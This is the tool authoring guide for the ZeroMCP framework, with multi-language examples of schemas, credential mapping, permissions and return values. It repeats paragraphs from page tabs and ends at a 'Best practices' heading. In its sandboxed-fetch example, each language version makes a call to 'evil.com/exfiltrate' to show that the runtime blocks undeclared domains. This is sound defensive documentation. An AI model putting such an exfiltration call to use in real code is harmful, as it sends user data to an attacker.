Tool Authoring Guide

Everything you need to write ZeroMCP tools. Schema reference, permissions, the ctx object, and best practices.

Basic structure

A ZeroMCP tool is a file with a default export:

A ZeroMCP tool is a file with a default export:

A ZeroMCP tool is a file with a default export:

A ZeroMCP tool is a file with a default export:

Register tools in your main function:

Register tools in your main function:

Register tools in your main function:

Register tools in your main function:

Register tools in your main function:

Register tools in your main function:

export default {
  description: "What this tool does",
  input: { /* schema */ },
  permissions: { /* optional */ },
  execute: async (args, ctx) => { /* logic */ },
}
tool = {
    "description": "What this tool does",
    "input": { # schema },
    "permissions": { # optional },
}

async def execute(args, ctx):
    # logic
    pass
s.Tool("my_tool", zeromcp.Tool{
    Description: "What this tool does",
    Input:       zeromcp.Input{ /* schema */ },
    Permissions: zeromcp.Permissions{ /* optional */ },
    Execute: func(args map[string]any, ctx *zeromcp.Ctx) (any, error) {
        // logic
        return nil, nil
    },
})
server.tool("my_tool", Tool {
    description: "What this tool does".to_string(),
    input: Input::new(),
    permissions: Permissions::default(),
    execute: Box::new(|args: Value, ctx: Ctx| {
        Box::pin(async move {
            // logic
            Ok(Value::Null)
        })
    }),
});
server.tool("my_tool") {
    description = "What this tool does"
    input { /* schema */ }
    permissions { /* optional */ }
    execute { args, ctx ->
        // logic
    }
}
server.tool("my_tool", Tool.builder()
    .description("What this tool does")
    .input(/* schema */)
    .permissions(/* optional */)
    .execute((args, ctx) -> {
        // logic
        return null;
    })
    .build());
server.Tool("my_tool", new ToolDefinition {
    Description = "What this tool does",
    Input = new Dictionary<string, InputField> {
        /* schema */
    },
    Permissions = new Permissions { /* optional */ },
    Execute = async (args, ctx) => {
        // logic
        return null;
    }
});
server.tool("my_tool",
    description: "What this tool does",
    input: [ /* schema */ ],
    permissions: Permissions()
) { args, ctx in
    // logic
}
tool description: "What this tool does",
     input: {
       # schema
     },
     permissions: {
       # optional
     }

execute do |args, ctx|
  # logic
end
<?php
return [
    'description' => 'What this tool does',
    'input' => [ /* schema */ ],
    'permissions' => [ /* optional */ ],
    'execute' => function ($args, $ctx) {
        // logic
    },
];

Input schema

ZeroMCP uses a simplified schema format that auto-converts to JSON Schema:

// Simple — just a type string
input: {
  name: "string",
  count: "number",
  active: "boolean",
}

// Detailed — with description, optional flag
input: {
  name: "string",
  limit: {
    type: "number",
    description: "Maximum results to return",
    optional: true,
  },
}
# Simple — just a type string
"input": {
    "name": "string",
    "count": "number",
    "active": "boolean",
}

# Detailed — with description, optional flag
"input": {
    "name": "string",
    "limit": {
        "type": "number",
        "description": "Maximum results to return",
        "optional": True,
    },
}
// Simple — just a type string
Input: zeromcp.Input{
    "name":   "string",
    "count":  "number",
    "active": "boolean",
}

// Detailed — with description, optional flag
Input: zeromcp.Input{
    "name": "string",
    "limit": zeromcp.Field{
        Type:        "number",
        Description: "Maximum results to return",
        Optional:    true,
    },
}
// Simple — required fields
input: Input::new()
    .required("name", "string")
    .required("count", "number")
    .required("active", "boolean"),

// Detailed — with description, optional flag
input: Input::new()
    .required("name", "string")
    .optional_desc("limit", "number", "Maximum results to return"),
// Simple — just a type string
input {
    "name" to "string"
    "count" to "number"
    "active" to "boolean"
}

// Detailed — with description, optional flag
input {
    "name" to "string"
    "limit" to field {
        type = "number"
        description = "Maximum results to return"
        optional = true
    }
}
// Simple — required fields
.input(
    Input.required("name", "string"),
    Input.required("count", "number"),
    Input.required("active", "boolean")
)

// Detailed — with description, optional flag
.input(
    Input.required("name", "string", "The person's name"),
    Input.optional("limit", "number", "Maximum results to return")
)
// Simple — just a type
Input = new Dictionary<string, InputField> {
    ["name"] = new InputField(SimpleType.String),
    ["count"] = new InputField(SimpleType.Number),
    ["active"] = new InputField(SimpleType.Boolean),
}

// Detailed — with description, optional flag
Input = new Dictionary<string, InputField> {
    ["name"] = new InputField(SimpleType.String),
    ["limit"] = new InputField(SimpleType.Number) {
        Description = "Maximum results to return",
        Optional = true
    }
}
// Simple — just a type
input: [
    "name": .simple(.string),
    "count": .simple(.number),
    "active": .simple(.boolean)
]

// Detailed — with description, optional flag
input: [
    "name": .simple(.string),
    "limit": .field(
        type: .number,
        optional: true,
        description: "Maximum results to return"
    )
]
# Simple — just a type string
input: {
  name: "string",
  count: "number",
  active: "boolean"
}

# Detailed — with description, optional flag
input: {
  name: "string",
  limit: {
    type: "number",
    description: "Maximum results to return",
    optional: true
  }
}
// Simple — just a type string
'input' => [
    'name' => 'string',
    'count' => 'number',
    'active' => 'boolean',
],

// Detailed — with description, optional flag
'input' => [
    'name' => 'string',
    'limit' => [
        'type' => 'number',
        'description' => 'Maximum results to return',
        'optional' => true,
    ],
],
TypeJSON Schema
"string"{ "type": "string" }
"number"{ "type": "number" }
"boolean"{ "type": "boolean" }
{ type, description, optional }Full JSON Schema property with description, removed from required if optional

The ctx object

Every tool's execute function receives a context object as the second argument:

ctx.credentials

Credentials mapped from your config. Tools never touch raw env vars.

// zeromcp.config.json
{
  "credentials": {
    "stripe": {
      "env": "STRIPE_KEY"
    }
  }
}

// In your tool
execute: async (args, ctx) => {
  ctx.credentials.apiKey  // value of STRIPE_KEY
}
# zeromcp.config.json
{
  "credentials": {
    "stripe": {
      "env": "STRIPE_KEY"
    }
  }
}

# In your tool
async def execute(args, ctx):
    ctx.credentials["apiKey"]  # value of STRIPE_KEY
// zeromcp.config.json
{
  "credentials": {
    "stripe": {
      "env": "STRIPE_KEY"
    }
  }
}

// In your tool
Execute: func(args map[string]any, ctx *zeromcp.Ctx) (any, error) {
    key := ctx.Credentials["apiKey"]  // value of STRIPE_KEY
    return nil, nil
}
// zeromcp.config.json
{
  "credentials": {
    "stripe": {
      "env": "STRIPE_KEY"
    }
  }
}

// In your tool
execute: Box::new(|args: Value, ctx: Ctx| {
    Box::pin(async move {
        let key = &ctx.credentials["apiKey"]; // value of STRIPE_KEY
        Ok(Value::Null)
    })
})
// zeromcp.config.json
{
  "credentials": {
    "stripe": {
      "env": "STRIPE_KEY"
    }
  }
}

// In your tool
execute { args, ctx ->
    ctx.credentials["apiKey"]  // value of STRIPE_KEY
}
// zeromcp.config.json
{
  "credentials": {
    "stripe": {
      "env": "STRIPE_KEY"
    }
  }
}

// In your tool
.execute((args, ctx) -> {
    var key = ctx.credentials().get("apiKey"); // value of STRIPE_KEY
    return null;
})
// zeromcp.config.json
{
  "credentials": {
    "stripe": {
      "env": "STRIPE_KEY"
    }
  }
}

// In your tool
Execute = async (args, ctx) => {
    var key = ctx.Credentials["apiKey"]; // value of STRIPE_KEY
    return null;
}
// zeromcp.config.json
{
  "credentials": {
    "stripe": {
      "env": "STRIPE_KEY"
    }
  }
}

// In your tool
{ args, ctx in
    let key = ctx.credentials["apiKey"]! // value of STRIPE_KEY
}
# zeromcp.config.json
{
  "credentials": {
    "stripe": {
      "env": "STRIPE_KEY"
    }
  }
}

# In your tool
execute do |args, ctx|
  ctx.credentials["apiKey"]  # value of STRIPE_KEY
end
// zeromcp.config.json
{
  "credentials": {
    "stripe": {
      "env": "STRIPE_KEY"
    }
  }
}

// In your tool
'execute' => function ($args, $ctx) {
    $key = $ctx->credentials['apiKey']; // value of STRIPE_KEY
}

ctx.fetch

Sandboxed fetch that only reaches domains declared in permissions.network. All calls are logged when logging: true.

permissions: {
  network: ["api.stripe.com"]
},

execute: async (args, ctx) => {
  // This works — domain is declared
  const res = await ctx.fetch("https://api.stripe.com/v1/customers");

  // This is BLOCKED — domain not declared
  const res2 = await ctx.fetch("https://evil.com/exfiltrate");
}
"permissions": {
    "network": ["api.stripe.com"]
},

async def execute(args, ctx):
    # This works — domain is declared
    res = await ctx.fetch("https://api.stripe.com/v1/customers")

    # This is BLOCKED — domain not declared
    res2 = await ctx.fetch("https://evil.com/exfiltrate")
Permissions: zeromcp.Permissions{
    Network: []string{"api.stripe.com"},
},

Execute: func(args map[string]any, ctx *zeromcp.Ctx) (any, error) {
    // This works — domain is declared
    res, _ := ctx.Fetch("https://api.stripe.com/v1/customers", zeromcp.FetchOpts{})

    // This is BLOCKED — domain not declared
    res2, _ := ctx.Fetch("https://evil.com/exfiltrate", zeromcp.FetchOpts{})
}
permissions: Permissions {
    network: vec!["api.stripe.com".to_string()],
    ..Default::default()
},

execute: Box::new(|args: Value, ctx: Ctx| {
    Box::pin(async move {
        // This works — domain is declared
        let res = ctx.fetch("https://api.stripe.com/v1/customers", FetchOpts::default()).await?;

        // This is BLOCKED — domain not declared
        let res2 = ctx.fetch("https://evil.com/exfiltrate", FetchOpts::default()).await?;
        Ok(Value::Null)
    })
})
permissions {
    network("api.stripe.com")
}

execute { args, ctx ->
    // This works — domain is declared
    val res = ctx.fetch("https://api.stripe.com/v1/customers")

    // This is BLOCKED — domain not declared
    val res2 = ctx.fetch("https://evil.com/exfiltrate")
}
.permissions(Permissions.builder()
    .network("api.stripe.com")
    .build())

.execute((args, ctx) -> {
    // This works — domain is declared
    var res = ctx.fetch("https://api.stripe.com/v1/customers", FetchOpts.builder().build());

    // This is BLOCKED — domain not declared
    var res2 = ctx.fetch("https://evil.com/exfiltrate", FetchOpts.builder().build());
    return null;
})
Permissions = new Permissions {
    Network = new[] { "api.stripe.com" }
},

Execute = async (args, ctx) => {
    // This works — domain is declared
    var res = await ctx.Fetch("https://api.stripe.com/v1/customers", new FetchOptions());

    // This is BLOCKED — domain not declared
    var res2 = await ctx.Fetch("https://evil.com/exfiltrate", new FetchOptions());
    return null;
}
permissions: Permissions(
    network: ["api.stripe.com"]
)

// In execute:
{ args, ctx in
    // This works — domain is declared
    let res = try await ctx.fetch("https://api.stripe.com/v1/customers")

    // This is BLOCKED — domain not declared
    let res2 = try await ctx.fetch("https://evil.com/exfiltrate")
}
permissions: {
  network: ["api.stripe.com"]
}

execute do |args, ctx|
  # This works — domain is declared
  res = ctx.fetch("https://api.stripe.com/v1/customers")

  # This is BLOCKED — domain not declared
  res2 = ctx.fetch("https://evil.com/exfiltrate")
end
'permissions' => [
    'network' => ['api.stripe.com']
],

'execute' => function ($args, $ctx) {
    // This works — domain is declared
    $res = $ctx->fetch("https://api.stripe.com/v1/customers");

    // This is BLOCKED — domain not declared
    $res2 = $ctx->fetch("https://evil.com/exfiltrate");
}

Permissions

Tools declare what they need upfront. The runtime enforces it.

permissions: {
  network: ["api.stripe.com", "api.github.com"],  // allowed domains
  fs: ["./data"],                                    // filesystem paths
  exec: ["git"],                                     // executables
}
"permissions": {
    "network": ["api.stripe.com", "api.github.com"],  # allowed domains
    "fs": ["./data"],                                    # filesystem paths
    "exec": ["git"],                                     # executables
}
Permissions: zeromcp.Permissions{
    Network: []string{"api.stripe.com", "api.github.com"}, // allowed domains
    Fs:      []string{"./data"},                              // filesystem paths
    Exec:    []string{"git"},                                 // executables
}
permissions: Permissions {
    network: vec![
        "api.stripe.com".to_string(),
        "api.github.com".to_string(),
    ],                                          // allowed domains
    fs: vec!["./data".to_string()],             // filesystem paths
    exec: vec!["git".to_string()],              // executables
}
permissions {
    network("api.stripe.com", "api.github.com")  // allowed domains
    fs("./data")                                   // filesystem paths
    exec("git")                                    // executables
}
.permissions(Permissions.builder()
    .network("api.stripe.com", "api.github.com")  // allowed domains
    .fs("./data")                                    // filesystem paths
    .exec("git")                                     // executables
    .build())
Permissions = new Permissions {
    Network = new[] { "api.stripe.com", "api.github.com" }, // allowed domains
    Fs = new[] { "./data" },                                   // filesystem paths
    Exec = new[] { "git" }                                     // executables
}
permissions: Permissions(
    network: ["api.stripe.com", "api.github.com"], // allowed domains
    fs: ["./data"],                                   // filesystem paths
    exec: ["git"]                                     // executables
)
permissions: {
  network: ["api.stripe.com", "api.github.com"],  # allowed domains
  fs: ["./data"],                                    # filesystem paths
  exec: ["git"]                                      # executables
}
'permissions' => [
    'network' => ['api.stripe.com', 'api.github.com'], // allowed domains
    'fs' => ['./data'],                                   // filesystem paths
    'exec' => ['git'],                                    // executables
],

Undeclared access is blocked by default. In development, set "bypass_permissions": true in your config to get warnings instead of blocks.

Return values

Return a string or an object. Objects are JSON-stringified automatically.

// String
execute: async () => "Done!"

// Object — auto-stringified to JSON
execute: async () => ({ customers: [...], count: 42 })
# String
async def execute(args, ctx):
    return "Done!"

# Dict — auto-stringified to JSON
async def execute(args, ctx):
    return {"customers": [...], "count": 42}
// String
Execute: func(args map[string]any, ctx *zeromcp.Ctx) (any, error) {
    return "Done!", nil
}

// Map — auto-stringified to JSON
Execute: func(args map[string]any, ctx *zeromcp.Ctx) (any, error) {
    return map[string]any{"customers": data, "count": 42}, nil
}
// String
Ok(Value::String("Done!".to_string()))

// Object — auto-stringified to JSON
Ok(serde_json::json!({ "customers": data, "count": 42 }))
// String
execute { args, ctx ->
    "Done!"
}

// Map — auto-stringified to JSON
execute { args, ctx ->
    mapOf("customers" to data, "count" to 42)
}
// String
.execute((args, ctx) -> "Done!")

// Map — auto-stringified to JSON
.execute((args, ctx) -> Map.of("customers", data, "count", 42))
// String
Execute = async (args, ctx) => "Done!"

// Object — auto-stringified to JSON
Execute = async (args, ctx) => new { customers = data, count = 42 }
// String
{ args, ctx in
    "Done!"
}

// Dictionary — auto-stringified to JSON
{ args, ctx in
    ["customers": data, "count": 42]
}
# String
execute do |args, ctx|
  "Done!"
end

# Hash — auto-stringified to JSON
execute do |args, ctx|
  { customers: data, count: 42 }
end
// String
'execute' => function ($args, $ctx) {
    return "Done!";
}

// Array — auto-stringified to JSON
'execute' => function ($args, $ctx) {
    return ['customers' => $data, 'count' => 42];
}

File naming

The filename becomes the tool name. Only tool files are scanned:

tools/hello.js         → hello
tools/stripe/list.js   → stripe_list
tools/github/issues.js → github_issues

The separator defaults to _ but can be changed in config with "separator".

The filename becomes the tool name. Only tool files are scanned:

tools/hello.js         → hello
tools/stripe/list.js   → stripe_list
tools/github/issues.js → github_issues

The separator defaults to _ but can be changed in config with "separator".

The filename becomes the tool name. Only tool files are scanned:

tools/hello.js         → hello
tools/stripe/list.js   → stripe_list
tools/github/issues.js → github_issues

The separator defaults to _ but can be changed in config with "separator".

The filename becomes the tool name. Only tool files are scanned:

tools/hello.js         → hello
tools/stripe/list.js   → stripe_list
tools/github/issues.js → github_issues

The separator defaults to _ but can be changed in config with "separator".

Tool names are set at registration time. The first argument to the tool registration call is the tool name. No file-naming conventions apply.

Tool names are set at registration time. The first argument to the tool registration call is the tool name. No file-naming conventions apply.

Tool names are set at registration time. The first argument to the tool registration call is the tool name. No file-naming conventions apply.

Tool names are set at registration time. The first argument to the tool registration call is the tool name. No file-naming conventions apply.

Tool names are set at registration time. The first argument to the tool registration call is the tool name. No file-naming conventions apply.

Tool names are set at registration time. The first argument to the tool registration call is the tool name. No file-naming conventions apply.

Best practices